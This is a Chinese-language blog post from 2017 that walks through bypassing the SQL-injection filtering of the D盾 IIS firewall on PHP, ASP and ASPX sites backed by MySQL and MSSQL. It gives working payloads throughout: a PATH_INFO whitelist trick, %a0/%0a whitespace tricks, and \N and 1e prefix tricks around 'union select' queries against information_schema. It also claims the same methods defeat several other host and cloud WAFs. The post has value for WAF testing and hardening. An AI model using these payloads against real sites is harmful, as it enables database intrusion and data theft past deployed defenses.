?

Sep 27 2017

Bypass D盾_IIS防火墻SQL注入防御(多姿勢)

首頁 » 漏洞收集 » Bypass D盾_IIS防火墻SQL注入防御(多姿勢)   

0X01 前言

  D盾_IIS防火墻,目前只支持Win2003服務器,前陣子看見官方博客說D盾新版將近期推出,相信功能會更強大,這邊分享一下之前的SQL注入防御的測試情況。D盾_IIS防火墻注入防御策略,如下圖,主要防御GET/POST/COOKIE,文件允許白名單設置。構造不同的測試環境,IIS+(ASP/ASPX/PHP)+(MSSQL/MYSQL),看到這邊的策略,主要的測試思路:

a、白名單   b、繞過union select或select from的檢測

  1.png

0X02 IIS+PHP+MYSQL

  搭建這個window2003+IIS+php+mysql,可花費不少時間,測試過程還蠻順利的,先來一張攔截圖:

2.png

 

 

繞過姿勢一:白名單

PHP中的PATH_INFO問題,簡單來說呢,就是

http:/x.x.x.x/3.php?id=1       等價于          http://x.x.x.x/3.php/xxxxxxxxxxxxx?id=1 

從白名單中隨便挑個地址加在后面,可成功bypass,http://10.9.10.206/3.php/admin.php?id=1  union select 1,2,schema_name from information_schema.SCHEMATA

經測試,GET、POST、COOKIE均有效,完全bypass

3.png

 

繞過姿勢二:空白字符

Mysql中可以利用的空白字符有:%09,%0a,%0b,%0c,%0d,%20,%a0;

 測試了一下,基本上針對MSSQL的[0x01-0x20]都被處理了,唯獨在Mysql中還有一個%a0可以利用,可以看到%a0與select合體,無法識別,從而繞過。

id=1  union%a0select 1,2,3 from admin

6.png

 

繞過姿勢三:\N形式

主要思考問題,如何繞過union select以及select from?

如果說上一個姿勢是union和select之間的位置的探索,那么是否可以考慮在union前面進行檢測呢?

為此在參數與union的位置,經測試,發現\N可以繞過union select檢測,同樣方式繞過select from的檢測。

id=\Nunion(select 1,schema_name,\Nfrom information_schema.schemata)

7.png

 

 

0X03 IIS+ASP/ASPX+MSSQL

  搭建IIS+ASP/ASPX+MSSQL環境,思路一致,只是語言與數據庫特性有些許差異,繼續來張D盾攔截圖:

8.png

 

繞過姿勢一:白名單

ASP: 不支持,找不到路徑,而且D盾禁止執行帶非法字符或特殊目錄的腳本(/1.asp/x),撤底沒戲了

   /admin.php/../1.asp?id=1 and 1=1    攔截

   /1.asp?b=admin.php&id=1 and 1=1 攔截,可見D盾會識別到文件的位置,并不是只檢測URL存在白名單那么簡單了。。。

ASPX:與PHP類似  /1.aspx/admin.php?id=1   union select 1,'2',TABLE_NAME from INFORMATION_SCHEMA.TABLES 可成功bypass

 11.png

繞過姿勢二:空白字符

  Mssql可以利用的空白字符有:01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

  [0x01-0x20]全部都被處理了,想到mysql %a0的漏網之魚是否可以利用一下?

ASP+MSSQL:  不支持%a0,已放棄。。。

ASPX+MSSQL: %a0+%0a配合,可成功繞過union select的檢測

 id=1 union%a0%0aselect 1,'2',TABLE_NAME %a0from INFORMATION_SCHEMA.TABLES

 12.png

 繞過姿勢三:1E形式

  MSSQL屬于強類型,這邊的繞過是有限制,from前一位顯示位為數字類型,這樣才能用1efrom繞過select from。

  只與數據庫有關,與語言無關,故ASP與ASPX一樣,可bypass,id=1eunion select '1',TABLE_NAME,1efrom INFORMATION_SCHEMA.TABLES

 13.png

 

0X04 END

  不同語言,中間件,數據庫,所對應的特性有些差異,思路卻一致,實踐出真知,只要動手去探索,還有更多姿勢等待被挖掘。

  目前的測試成果,可成功bypass注入防御,如 安全狗、云鎖、360主機衛士、D盾_IIS防火墻等主機防護軟件及各種云waf,有些姿勢都在用。

  有對這方面研究的童鞋,歡迎加好友交流一下姿勢。

http://www.cnblogs.com/xiaozi/p/7357937.html

 

如果您喜歡本博客,歡迎點擊圖片定訂閱到郵箱填寫您的郵件地址,訂閱我們的精彩內容:

正文部分到此結束

文章標簽: 繞d盾

版權聲明:若無特殊注明,本文皆為( mOon )原創,轉載請保留文章出處。

也許喜歡: «Discuz!X前臺任意文件刪除漏洞重現及分析 | 基于ThinkPHP的2個CMS后臺GetShell利用»

你腫么看?

你還可以輸入 250/250 個字

? 微笑 大笑 拽 大哭 親親 流汗 噴血 奸笑 囧 不爽 暈 示愛 害羞 吃驚 驚嘆 愛你 嚇死了 呵呵

評論信息框

已有4條評論

匿名

2017-10-14 00:26 板凳
我不懂什么,想問下景安的能行嗎

mOon

2017-11-14 19:32
@匿名:可以

Mrxn

2017-09-30 16:14 沙發
大哥 ,我的域名 幫忙改一下 ,去掉www 謝謝啊!

mOon

2017-10-12 11:26
@Mrxn:什么鬼
?
?
河北11选5开奖